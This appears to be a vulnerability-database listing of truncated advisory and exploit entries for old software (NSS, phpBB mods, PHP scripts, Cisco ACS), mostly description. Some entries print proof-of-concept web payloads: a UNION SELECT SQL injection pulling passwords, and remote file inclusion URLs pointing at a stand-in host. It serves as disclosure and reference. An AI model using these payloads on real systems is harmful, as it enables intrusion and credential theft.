NSS: SSLv2 protocol buffer overflows

Stack-based buffer overflow in the SSLv2 support in Mozilla Network Security Services NSS before 3.11.5, as used by Firefox before 1.5.0.10 and 2.x before 2.0.0.2, Thunderbird before 1.5.0.10, SeaMonkey before 1.0.8, and certain Sun Java System server products before 20070611, allows remote...

NSS: SSLv2 protocol buffer overflows

Stack-based buffer overflow in the SSLv2 support in Mozilla Network Security Services NSS before 3.11.5, as used by Firefox before 1.5.0.10 and 2.x before 2.0.0.2, Thunderbird before 1.5.0.10, SeaMonkey before 1.0.8, and certain Sun Java System server products before 20070611, allows remote...

phpBB2 Plus 1.53 (Acronym Mod) Remote SQL Injection Vulnerability

No description provided by source. Acronym Mod v0.9.5 Remote SQL Injection Vulnerability Download: http://www.codemonkeyx.net Found By: the master exploit:...

Newxooper-PHP 0.9.1 - mapage.php Remote File Inclusion

Newxooper-PHP 0.9.1 - mapage.php Remote File Inclusion Newxooper-php v0.9.1chemin Remote File Include Vulnerabilty Download:http://www.easy-script.com/newxoope-091.zip Author:Dr Max Virus Location:Egypt Bug in compteur/mapage.php In Line:37 Vul Code: REQUIRE "$chemin/compteur/mapage.txt"; POC:...

Newxooper-php v0.9.1(chemin) Remote File Include Vulnerabilty

Newxooper-php v0.9.1chemin Remote File Include Vulnerabilty Download:http://www.easy-script.com/newxoope-091.zip Author:Dr Max Virus Location:Egypt Bug in compteur/mapage.php In Line:37 Vul Code: REQUIRE "$chemin/compteur/mapage.txt"; POC: http://target/path/compteur/mapage.php?chemin=Evil Code...

Uploader & Downloader 3.0 - 'id_user' SQL Injection

uploader&downloader v3 Remote SQL Injection Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1892uploader-30.zip Found By: the master exploit: http://Target/Path/administration/administre2.php?iduser=-1%20UNION%20SELECT%20null,passe,null,null%20FROM%20connectuploadfichier%20WHERE%20iduser=1...

Uploader & Downloader 3.0 (id_user) Remote SQL Injection Vulnerability

No description provided by source. uploader&downloader v3 Remote SQL Injection Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1892uploader-30.zip Found By: the master exploit:...

Uploader Downloader 3.0 - id_user SQL Injection

Uploader Downloader 3.0 - iduser SQL Injection uploader&downloader v3 Remote SQL Injection Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1892uploader-30.zip Found By: the master exploit:...

Admin Hacks List v1.20 Remote SQL Injection Vulnerability

Admin Hacks List v1.20 Remote SQL Injection Vulnerability Download: http://www.nivisec.com Found By: the master exploit:...

Hacks List phpBB Mod 1.21 - SQL Injection

Admin Hacks List v1.20 Remote SQL Injection Vulnerability Download: http://www.nivisec.com Found By: the master exploit:...

CVE-2006-4625

PHP 4.x up to 4.4.4 and PHP 5 up to 5.1.6 allows local users to bypass certain Apache HTTP Server httpd.conf options, such as safemode and openbasedir, via the inirestore function, which resets the values to their php.ini Master Value defaults...

minibill.txt

MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif? http://Target/Path/include/initPlugins.php?configplugindir=http://cmd.g...

Linux-HA Heartbeat 2.0.6 - Remote Denial of Service

Linux-HA Heartbeat 2.0.6 - Remote Denial of Service source: https://www.securityfocus.com/bid/19516/info Linux-HA Heartbeat is prone to a remote denial-of-service vulnerability. By successfully exploiting this issue, attackers can crash the master control process. This may result in the failure o...

Boite de News 4.0.1 - index.php Remote File Inclusion

Boite de News 4.0.1 - index.php Remote File Inclusion Boite de News v4.0.1 Remote File Inclusion Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1801boiteden-401.zip Found By: the master exploit: http://Target/Path/boitenews4/index.php?urlindex=http://cmd.gif? milw0rm.com 2006-08-09...

Boite de News 4.0.1 - 'index.php' Remote File Inclusion

Boite de News v4.0.1 Remote File Inclusion Vulnerability Download: ftp://ftp1.comscripts.com/PHP/1801boiteden-401.zip Found By: the master exploit: http://Target/Path/boitenews4/index.php?urlindex=http://cmd.gif? milw0rm.com 2006-08-09...

docpile:we <= 0.2.2 (INIT_PATH) Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications ===================================================================== docpile:we = 0.2.2 INITPATH Remote File Inclusion Vulnerabilities ===================================================================== TiTLE: docpile:we v0.2.2 INITPATH...

CVE-2006-0561

Cisco Secure Access Control Server ACS 3.x for Windows stores ACS administrator passwords and the master key in the registry with insecure permissions, which allows local users and remote administrators to decrypt the passwords by using Microsoft's cryptographic API functions to obtain the...

SYMSA-2006-003: Cisco Secure ACS for Windows - Administrator Password Disclosure

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Symantec Vulnerability Research https://www.symantec.com/research Security Advisory Advisory ID : SYMSA-2006-003 Advisory Title: Cisco Secure ACS for Windows - Administrator Password Disclosure Author : Andreas Junestam Release Date : 05-08-2006...

CVE-2005-4697

The Microsoft Wireless Zero Configuration system WZCS allows local users to access WEP keys and pair-wise Master Keys PMK of the WPA pre-shared key via certain calls to the WZCQueryInterface API function in wzcsapi.dll...

Design/Logic Flaw

Unspecified vulnerability in the Transparent Data Encryption TDE Wallet component of Oracle Database server 10.2.0.1 has unspecified impact and attack vectors, as identified by Oracle Vuln DB27. NOTE: Oracle has not disputed a reliable researcher report that TDA stores the master key without...